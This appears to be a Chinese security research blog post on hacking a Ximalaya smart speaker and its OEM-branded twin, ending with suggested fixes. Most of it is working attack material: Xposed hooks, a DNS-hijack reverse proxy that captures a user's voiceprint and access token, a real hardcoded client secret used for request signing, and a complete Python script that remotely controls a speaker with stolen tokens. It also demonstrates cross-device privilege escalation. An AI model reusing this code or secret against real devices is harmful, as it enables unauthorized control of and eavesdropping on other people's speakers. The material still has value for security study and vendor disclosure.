本文首发于IOTsec-Zone

前言

这次咱们的目标是一个国内智能音箱代工厂商——喜马拉雅，从其客户端加密密钥查询接口来看，就有给四五家厂商代工贴牌，比如说os.client.000001是他家自己的App、os.client.000030是家电厂商美的的App：

先来个本次测试设备的靓照：

左边是代工厂商自家的音箱，下文称之为本家音箱；右边是给其他厂商贴牌的音箱，下文称之为贴牌音箱。若没有明显说明则默认指本家音箱。

UART调试

先是拆掉底部三个防滑胶垫，里面是螺丝孔，拆开后卸下板子可以发现背面标记了UART引脚和疑似部分JTAG引脚。

不过鉴于疑似JTAG的引脚没有最关键的输入输出脚，所以还是连上UART看看能不能进调试吧。

虽然确实进调试了，但没法输入东西，应该是编译的时候关了输入或者焊接的时候输入线路没通，看来这条路是行不通了。

固件提取

拿到设备的时候，设备里的固件已经是最新版本了。不过app端能手动检查更新，尝试抓包改包一条龙，装成旧版本看看能不能拿到固件包。

看起来是有个校验参数sig，那么直接改包是不行了，那就尝试hook发生请求之前的明文状态，直接改成旧版本试试。

将rom_version作为关键词在apk里搜索，找到一个getRomVersion函数的调用，看起来很重要。

跟过去之后，发现又是套娃get。

于是尝试搜索"romVersion"，发现有两处save。

反正就两处，直接全部hook了完事。

package com.example.hooktest.hook

import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.xposed.proxy.IYukiHookXposedInit

@InjectYukiHookWithXposed
class Main : IYukiHookXposedInit {
    override fun onInit() = YukiHookAPI.configs {
        debugLog {
            tag = "xiao1ya"
        }
    }
    override fun onHook() = YukiHookAPI.encase {
        loadApp("com.orion.xiaoya.speakerclient") {
            "com.sdk.orion.utils.Constant".hook {

                injectMember {
                    method {
                        name("saveRomVersion")
                    }
                    beforeHook {
                        args(0).set("1.6.95")
                    }
                }

            }
            "com.xiaoyastar.ting.android.framework.smartdevice.constants.XYConstant".hook {

                injectMember {
                    method {
                        name("saveRomVersion")
                    }
                    beforeHook {
                        args(0).set("1.6.95")
                    }
                }

            }
        }
    }
}

成功拿到固件链接https://scdn.xiaoyastar.com/xpkg/8e/a8/c7b528da79.bin，尝试binwalk一波。

看泄露出来的路径名，似乎是个实时操作系统，而且也没提取出啥东西，看来固件这块也没啥突破口。

流量分析

先开个热点抓包看看设备本身开机之后的流量吧。

看了下http流量，就两条，第一条应该是开机后的联网汇报，第二条是个音频，听了下是开机欢迎提示。

不过第一条的返回包中出现了好玩的东西——wss：

那么我们可以大胆猜测，这个websocket会不会是用来交互的长连接？去跟一下tls流量就知道了。

tls握手只发生了一次，并且正是上面的那个wss的域名。

那既然第一条汇报的数据包是走的http，而且是有域名的，那么只要不是内置了dns服务地址，必然可以通过dns劫持达到中间人攻击的目的。

至于是不是内置dns，去看看http请求上面的dns请求就知道了。

果然走了热点网关的dns，那么咱们就可以用Windows热点的特性（hosts文件优先）去模拟DNS劫持+反向代理去实施中间人攻击了。

中间人攻击

先把汇报的域名和wss的域名给劫持到本机。

但是光这么劫持可不行，咱们还得把劫持过来的流量重新转发出去，不然光凭咱们自己可没法完成数据交互。

那就手写个简易的http(s)+ws(s)反向代理呗，将来到本机80/443的流量转发给真的智能音箱服务器。

const httpProxy = require("http-proxy")

const transponder = httpProxy.createProxyServer()
const middle = "http://127.0.0.1:10801" // Fiddler

function transpose (req: any, res: any, head?: Buffer) {
    console.log(req.method, "http(s)://"+req.headers.host+req.url, "HTTP/"+req.httpVersion)
    if (head === undefined) {
        transponder.web(req, res, {
            target: middle,
        })
    } else {
        transponder.ws(req, res, head, {
            target: middle,
        })
    }
}
// http 代理
import * as http from "http"
const http_proxy = http.createServer()
http_proxy.on("request", transpose)
http_proxy.on("upgrade", transpose)
http_proxy.listen(80, "0.0.0.0", function() {
    console.log('HTTP proxy server is running')
})
// https 代理
import * as fs from "fs"
import * as https from "https"
const https_proxy = https.createServer({
    key: fs.readFileSync('pem'),
    cert: fs.readFileSync('cert'),
})
https_proxy.on("request", transpose)
https_proxy.on("upgrade", transpose)
https_proxy.listen(443, "0.0.0.0", function() {
    console.log('HTTPS proxy server is running')
})

不过这里需要注意，不能直接通过Windows转发出去，因为这样子会走Windows的hosts文件，然后就又绕回到咱们的反向代理了，所以这里采用隧道的方式去避免走系统的hosts。

真实的中间人攻击不需要这样，因为咱们模拟时，DNS劫持设备和反向代理设备是同一个，不可避免的会产生自己劫持自己的情况。
真实环境下，DNS劫持设备大概率是目标场景中已经沦陷的路由器，反向代理设备才是咱们自己持有的服务器。

最后，原理上大概长这样：

冻手冻手！

成功拿到数据包，于是尝试篡改wss://为ws://。

不知道为什么会重复注册好多回，然后才突然连上ws。

然后还顺带发现了个日志上传的api。

正好在日志里找到了重复注册的原因：固件里面的http响应解析存在问题，导致响应长度计算不正确。但是为啥好多次之后又能有一次正确的？猜测是和tcp分段传输有关系，如果恰巧没分段，那就成功解析了响应。

不过这不重要，咱们来看看websocket里面有啥东西吧。

似乎全是心跳包，那么咱们说句话看看？

看起来是把音频直接上传到云端解析了？这大大的pcm_16k_16b不就是挺常见的音频格式+质量嘛。

然后下面那一串二进制数据就是音频本体咯。

那再看看传完音频返回的结果是啥。

看起来是异步解析的，云端实时stt，然后感觉用户已经说完了就主动结束录音，然后开始tts回答用户的对话。

那么下面服务传过来的二进制应该也是音频没跑了。

把发送给服务器的前6.4kB保存下来（主要是复制好麻烦，搞个前面一点点能听见声就行），看看能不能正常播放出自己的声音。

似乎短了一点...

但确实听到自己的声音了。

然后回头看了下wireshark那边，又有新发现。

这是上传了唤醒词的那句音频？这用途是啥呢？既然已经被唤醒了，那说明已经识别成功了，没必要像对话那样把音频交给服务器stt，毕竟设备性能孱弱能理解，但这唤醒词的音频传上去肯定不是用来stt的。

那么只有一种用途了——“炼丹”，也就是跑深度学习模型，然后优化唤醒准确率。但是，作为用户，我可完全没在哪里见到主动提示我的声音会被用来深度学习啊...

用户隐私政策里倒是有提到这个。
但这种隐私问题不应该首次使用就要主动告知用户吗？或者提供明显的隐私选项让用户选择是否贡献自己的声音用于深度学习。但很遗憾，都没有。

把唤醒的音频提取出来看看吧。

和我之前发出的声音完全一致。

所以通过中间人攻击成功拿到了目标的声纹。

基于中间人攻击的远程控制

流量那边倒是没啥能看的东西了，那就去app端看看有什么东西吧。

分析

app端几乎所有api接口都是走的https://api.ximalaya.com/smart-os-gateway/app/invoke，然后params参数应该是用来权限认证的，session应该是每次请求随机生成的uuid，方便唯一标识，intent就是请求的细节了，各种功能都在这里面实现，sig的话之前说过了是校验字段，看来想要写代码模拟这些指令的话，逆向校验算法是没跑了。

params里面的osAccessToken这不是经典的jwt组件嘛，sn就是音箱的S/N，然后其他参数都中规中矩，感觉都不是很重要。

intnet的domain、english_domain、intent应该是请求的具体目的字段，slots则是请求的真正传参。

请求头里面并没有其他的权限认证字段。

那么唯一的权限验证就落在了osAccessToken上呗，这玩意之前中间人攻击的时候捕获到过，看来大概率可以通过中间人攻击获取的osAccessToken去远程控制音箱。

主动播放平台内容

众所周知智能音箱肯定有配套的资源库平台，咱随便播放个新闻联播看看手机端的数据包吧。

没有出现音频的url，看来是云端收到资源信息后直接下发音频给音箱的，那么通过这个接口播放任意音频是没啥机会了。

主动唤醒音箱并对话

这个功能也算比较常见的，用手机上去文字直接对话算是智能音箱标配功能了。

这回感觉有戏，再康康有没有其他的接口。

自定义对话

这个功能其实也算比较常见的，就是我说了啥特定的关键词你就回答啥特定的句子。

还是上面那个接口，只不过domain变成了BizAiCommand，然后intent是create，参数再换换就完事。

删除自定义对话的接口也是一样的，只不过intent是delete，然后参数是上图里响应包的command_id=171426。

组合拳

那么咱们是不是可以通过代码设置自定义对话，然后通过主动唤醒去模拟设置的自定义对话关键词，这样子音箱就能说出我们想要的句子。再进一步对话，结合之前的中间人攻击还可以直接劫持掉websocket里面的tts响应，达到播放任意音频的目的。

那就逆向看看sig的校验签名算法吧。

看起来是md5的概率比较大，那就是说只要知道md5之前各个参数是怎样拼接的就行了，最多加点盐，不太影响，直接把md5方法给hook了走起。

结果刚想点进去跟一下md5方法到底搁哪，就发现了疑似盐的东西。

看看md5方法的位置。

直接写hook吧。

package com.example.hooktest.hook

import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.log.loggerD
import com.highcapable.yukihookapi.hook.xposed.proxy.IYukiHookXposedInit

@InjectYukiHookWithXposed
class Main : IYukiHookXposedInit {
    override fun onInit() = YukiHookAPI.configs {
        debugLog {
            tag = "xiao1ya"
        }
    }
    override fun onHook() = YukiHookAPI.encase {
        loadApp("com.orion.xiaoya.speakerclient") {
            "com.sdk.orion.utils.MD5Utils".hook {

                injectMember {
                    method {
                        name("md5Str32")
                    }
                    afterHook {
                        loggerD(msg = "$result <- ${args[0]}")
                    }
                }

            }
        }
    }
}

咱就随便挑一个请求吧。

去hook日志里搜一下a5a7940148467a5d469a9dbda19c9197。

成功拿到明文（隐私数据已用***代替），先去校验一下，以防万一是魔改md5。

intent={"domain":"BizUser","english_domain":"BizUser","intent":"getStatus","slots":{"action_key":"","app_device_info":{"device_id":"***","device_type":"android","mobile_os_type":"1","os_type":"1","ovs_sdk_os":"android_mobile","ovs_sdk_version":"1.2.0","speaker_sn":"***","speaker_sn_version":"1.6.96"},"speaker_device_id":"***","mobile_os_type":"1","os_type":"1","ovs_sdk_os":"android_mobile","ovs_sdk_version":"1.2.0","speaker_sn":"***","speaker_sn_version":"1.6.96"},"version":"3.1.8"}&params={"appVersion":"3.1.8","deviceId":"***","deviceType":1,"dt":1668134364,"osAccessToken":"***","osClientId":"os.client.000001","productId":"N_PROD1_NANO_TD","romVersion":"1.6.96","sn":"***","speakerVersion":"1.6.96","sysType":1,"sysVersion":"12"}&session={"sid":"20fed2a1-f04d-4807-991f-4fdc332229a4"}&osClientSecret=680d73c11cca46aeb4fd9d28f961dc4a

可以确认是标准md5，那就放心了。

然后最后那个盐，也确实就是上面发现的那个，那直接写脚本尝试一下一条龙呗。

写脚本之前先对比下抓包拿到的appjwt和中间人攻击拿到的音箱jwt，看看有没有区别。

这个是app上的jwt用户数据。

这个是音箱的jwt用户数据。

其实因为打了码的缘故，可能看不出差别，实际上两者的diviceId是不一样的，前者是我手机是的设备码，后者是音箱的S/N。

看来想要用中间人攻击拿到是osAccessToken去请求这些app的api是大概率可行的，因为服务端很难确认diviceId是手机还是音箱，如果强行按照格式判断的话，大概率会有误判。

那就写脚本吧。（以下脚本是我测试多次删删改改精简掉一堆不必要的参数和可以fake掉隐私参数的结果，最终确认：想要控制设备，osAccessToken、sn、productId这仨是必要的，其他参数要么能删要么能随便改）

import base64
import json
import time
import uuid

import requests
import hashlib

class XiaoYa:
    def __init__(self, osAccessToken: str, sn: str, productId: str):
        self._osAccessToken = osAccessToken
        self._sn = sn
        self._productId = productId

        self.BizApp = self._BizApp(self)
        self.BizInverseControl = self._BizInverseControl(self)
        self.BizAiCommand = self._BizAiCommand(self)

    def _invoke(self, intent):
        param = {
            "params": json.dumps({
                "appVersion": "3.1.8",
                "deviceId": '0'*16,
                "deviceType": 1,
                "dt": int(time.time()),
                "osAccessToken": self._osAccessToken,
                "osClientId": "os.client.000001",
                "productId": self._productId,
                "sn": self._sn,
                "sysType": 1,
                "sysVersion": "12",
            }, separators=(',', ':')),
            "session": json.dumps({
                "sid": str(uuid.uuid4()),
            }, separators=(',', ':')),
            "intent": json.dumps(intent, separators=(',', ':')),
        }
        param["sig"] = hashlib.md5("&".join([f"{k}={param[k]}" for k in sorted(list(param.keys()))] + [f"osClientSecret=680d73c11cca46aeb4fd9d28f961dc4a"]).encode()).hexdigest()

        req = requests.get(
            "https://api.ximalaya.com/smart-os-gateway/app/invoke",
            params=param,
            # verify=False,
            # proxies={"http": "http://127.0.0.1:10801", "https": "http://127.0.0.1:10801"}
        )
        resp = req.json()['response']['data']
        return resp

    class _Operate:
        def __init__(self, xiaoYa):
            self._xiaoYa = xiaoYa

    class _BizApp(_Operate):
        def queryHistory(self):
            resp = self._xiaoYa._invoke({
                "domain": "BizApp",
                "english_domain": "BizApp",
                "intent": "queryHistory",
                "slots": {
                    "num": 100,
                    "offset": 0,
                    "timeLine": 0,
                },
            })
            print(resp['pageInfo'])
            for i in resp['list']:
                print(time.ctime(i['createTs']), '|', i['request']['text'], '|', i['response']['card']['text'])

    class _BizInverseControl(_Operate):
        def inverseControlAction13(self, command):
            resp = self._xiaoYa._invoke({
                "domain": "BizInverseControl",
                "english_domain": "BizInverseControl",
                "intent": "inverseControlAction",
                "slots": {
                    "action": "13",
                    "action_key": str(int(time.time() * 1000)),
                    "value": {
                        "content_id": "",
                        "domain": "general_command",
                        "intent": "app_key_text_query",
                        "text": command,
                        "track_index": 0
                    },
                },
            })
            print(resp)

    class _BizAiCommand(_Operate):
        def create_sound_player_play_sound(self, command_text, answer_text):
            resp = self._xiaoYa._invoke({
                "domain": "BizAiCommand",
                "english_domain": "BizAiCommand",
                "intent": "create",
                "slots": {
                    "action": {
                        "domain": "sound_player",
                        "intent": "play_sound",
                        "slots": {
                            "answer_text": answer_text,
                            "live_radio_name": "",
                            "artist": "",
                            "album": "",
                            "live_radio_num_fm": "",
                            "episode": "",
                            "style": "",
                            "title": "",
                            "category": "",
                            "live_radio_num_am": "",
                        },
                        "text": answer_text,
                    },
                    "command_text": command_text,
                    "is_example": 0,
                },
            })
            print(resp['create_res'])
            if not resp['create_res']:
                print(resp['msg'])
                return None
            return resp['command_id']

        def delete(self, command_id):
            resp = self._xiaoYa._invoke({
                "domain": "BizAiCommand",
                "english_domain": "BizAiCommand",
                "intent": "delete",
                "slots": {
                    "command_id": command_id,
                },
            })
            print(resp)

        def lists(self):
            resp = self._xiaoYa._invoke({
                "domain": "BizAiCommand",
                "english_domain": "BizAiCommand",
                "intent": "lists",
                "slots": {
                },
            })
            print(resp)

def main():
    osAccessToken = "这里填中间人攻击拿到的JWT"
    print(json.loads(base64.b64decode(osAccessToken.split('.')[1]+"===")))  # 输出确认下是音箱的JWT

    xiaoya = XiaoYa(osAccessToken=osAccessToken, sn="这里填音箱的S/N", productId="这里填音箱的产品型号ID")

    command_id =xiaoya.BizAiCommand.create_sound_player_play_sound(command_text="测试", answer_text="测试成功")
    time.sleep(1)
    xiaoya.BizInverseControl.inverseControlAction13("测试")
    time.sleep(1)
    xiaoya.BizApp.queryHistory()
    time.sleep(1)
    xiaoya.BizAiCommand.delete(command_id)

if __name__ == '__main__':
    main()

成功用音箱的JWT通过App的Api让音箱说出测试成功。（不过大家不在现场听不见）

水平越权

之前咱们分析了jwt里面用户数据的构成，其中能够用来确认是否拥有控制权限的只有两个参数：uid和deviceId。其中deviceId如果严谨一点的话，只允许已经绑定的手机和音箱本身是理论可行的，然后uid严谨一点的话，只允许绑定的账号也是理论可行的。

但是！咱们手头还有一个毫不相干另一个贴牌设备，就是文章最开头那个白色的智能音箱。

两者之间app不一样、账号不一样，几乎可以说没有任何关联，那咱们能否使用贴牌音箱的jwt或者贴牌App的jwt去控制一个毫不相干的本家音箱呢？

说干就干。咱们去用贴牌App抓包看看，大概率接口是同一个。

果不其然，而且顺带还发现了各个贴牌App的盐值和os.client标识是不一样的，那么之前的脚本还能用吗？不是很确定，反正试一下就知道了。

成功让本家音箱说出再次测试成功，不过历史记录里面居然没有这条记录？那岂不是更好了，还不用想着痕迹清除了。（哈哈哈开玩笑的，又不是真去打别人的音箱）

最后的题外话

十分安全的开机音效

其实分析的过程中还发现，贴牌音箱的DNS请求有一部分是走了腾讯云的DoH（不过不是完整的DoH，因为他这是http的，并不是https），但是也仅仅是一部分（其实好像只有开机音效走了公共DNS，把开机音效搞得这么安全是为了啥...其他关键接口却直接走了网关DNS，离谱）

居然是两套系统

本家音箱是RTOS，但贴牌音箱是Linux+adb，同样的外观居然是完全不一样的两套系统，只能说这家开发的技术力还挺强，不过两者的大部分网络逻辑还能保持高度一致倒是挺牛逼的（虽然大概率是后端开发不想搞第二套接口）

最后的最后

其实在固件的逻辑严谨性上，可以从贴牌音箱看出来，其开发者是知道可以用公共DNS取代不可信的网关DNS的，但不知道为什么没有全程使用公共DNS，只在不痛不痒的开机音效上用上了，如果全程走公共DNS的话，咱们的中间人攻击基本上是没啥机会的。

另外在服务端的鉴权严谨性上，大致可以推测出服务端在鉴权上只做了个全局路由的前置ACL，并没有做具体的权限细分，导致了只要是个能过jwt校验的osAccessToken都能完全访问所有api。

所以实际上解决办法已经很明显了：固件在网络方面全程上DoH和HTTPS；服务端对参数进行加密处理，对osAccessToken做更细致的权限验证，而不是一股脑全放行。

---

The End